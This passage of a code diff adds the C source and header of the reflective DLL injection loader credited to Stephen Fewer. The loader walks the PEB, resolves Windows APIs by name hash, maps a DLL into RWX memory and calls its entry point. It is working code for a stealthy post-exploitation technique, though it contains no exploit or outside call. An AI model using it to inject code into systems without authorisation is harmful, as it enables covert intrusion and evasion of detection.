NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
ULONG_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
ULONG_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
ULONG_PTR uiAddressArray;
|
||||
ULONG_PTR uiNameArray;
|
||||
ULONG_PTR uiExportDir;
|
||||
ULONG_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
ULONG_PTR uiHeaderValue;
|
||||
ULONG_PTR uiValueA;
|
||||
ULONG_PTR uiValueB;
|
||||
ULONG_PTR uiValueC;
|
||||
ULONG_PTR uiValueD;
|
||||
ULONG_PTR uiValueE;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our callers return address.
|
||||
uiLibraryAddress = caller();
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while (TRUE)
|
||||
{
|
||||
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef WIN_X64
|
||||
uiBaseAddress = __readgsqword(0x60);
|
||||
#else
|
||||
#ifdef WIN_X86
|
||||
uiBaseAddress = __readfsdword(0x30);
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while (uiValueA)
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror((DWORD)uiValueC);
|
||||
// normalize to uppercase if the madule name is in lowercase
|
||||
if (*((BYTE *)uiValueB) >= 'a')
|
||||
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE *)uiValueB);
|
||||
uiValueB++;
|
||||
} while (--usCounter);
|
||||
|
||||
// compare the hash with that of kernel32.dll
|
||||
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||
|
||||
usCounter = 3;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while (usCounter > 0)
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
|
||||
// store this functions VA
|
||||
if (dwHashValue == LOADLIBRARYA_HASH)
|
||||
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
else if (dwHashValue == GETPROCADDRESS_HASH)
|
||||
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
else if (dwHashValue == VIRTUALALLOC_HASH)
|
||||
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||
|
||||
usCounter = 1;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while (usCounter > 0)
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
|
||||
// store this functions VA
|
||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
|
||||
// we stop searching when we have found everything we need.
|
||||
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
|
||||
break;
|
||||
|
||||
// get the next entry
|
||||
uiValueA = DEREF(uiValueA);
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
|
||||
while (uiValueA--)
|
||||
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
while (uiValueE--)
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
|
||||
while (uiValueD--)
|
||||
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof(IMAGE_SECTION_HEADER);
|
||||
}
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
|
||||
// we assume their is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||
|
||||
// itterate through all imports
|
||||
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
|
||||
{
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while (DEREF(uiValueA))
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = (uiBaseAddress + DEREF(uiValueA));
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof(ULONG_PTR);
|
||||
if (uiValueD)
|
||||
uiValueD += sizeof(ULONG_PTR);
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
|
||||
}
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
|
||||
// check if their are any relocations present
|
||||
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||
|
||||
// and we itterate through all entries...
|
||||
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while (uiValueB--)
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
|
||||
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
|
||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
#ifdef WIN_ARM
|
||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
|
||||
{
|
||||
register DWORD dwInstruction;
|
||||
register DWORD dwAddress;
|
||||
register WORD wImm;
|
||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||
dwInstruction = *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
|
||||
// flip the words to get the instruction as expected
|
||||
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||
// sanity chack we are processing a MOV instruction...
|
||||
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
|
||||
{
|
||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||
wImm = (WORD)(dwInstruction & 0x000000FF);
|
||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||
// apply the relocation to the target address
|
||||
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
|
||||
// now create a new instruction with the same opcode and register param.
|
||||
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
|
||||
// patch in the relocated address...
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||
// now flip the instructions words and patch back into the code...
|
||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof(IMAGE_RELOC);
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
|
||||
|
||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if (lpReserved != NULL)
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,204 @@
|
|||
#pragma once
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR);
|
||||
typedef FARPROC(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR);
|
||||
typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef DWORD(NTAPI * NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _rotr )
|
||||
|
||||
__forceinline DWORD ror(DWORD d)
|
||||
{
|
||||
return _rotr(d, HASH_KEY);
|
||||
}
|
||||
|
||||
__forceinline DWORD hash(char * c)
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror(h);
|
||||
h += *c;
|
||||
} while (*++c);
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, *PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, *PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK * pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
